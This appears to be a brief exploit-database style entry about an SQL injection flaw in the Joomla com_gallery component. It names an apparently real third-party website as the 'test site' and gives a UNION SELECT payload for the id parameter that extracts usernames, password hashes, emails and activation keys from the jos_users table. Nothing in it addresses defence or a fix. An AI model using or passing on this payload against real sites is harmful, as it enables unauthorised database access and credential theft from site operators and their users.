Joomla Component com_gallery SQL injection Vulnerability

Joomla Component com_gallery SQL Inj. Vulnerability
Test Site: http://www.sipa.or.th/index.php?option=com_gallery&task=detail&id=Sql inj. code
EXPLOIT  : -1+union+select+1,2,3,4,concat(username,0x3a,password,email,activation),6,7,8+from+jos_users--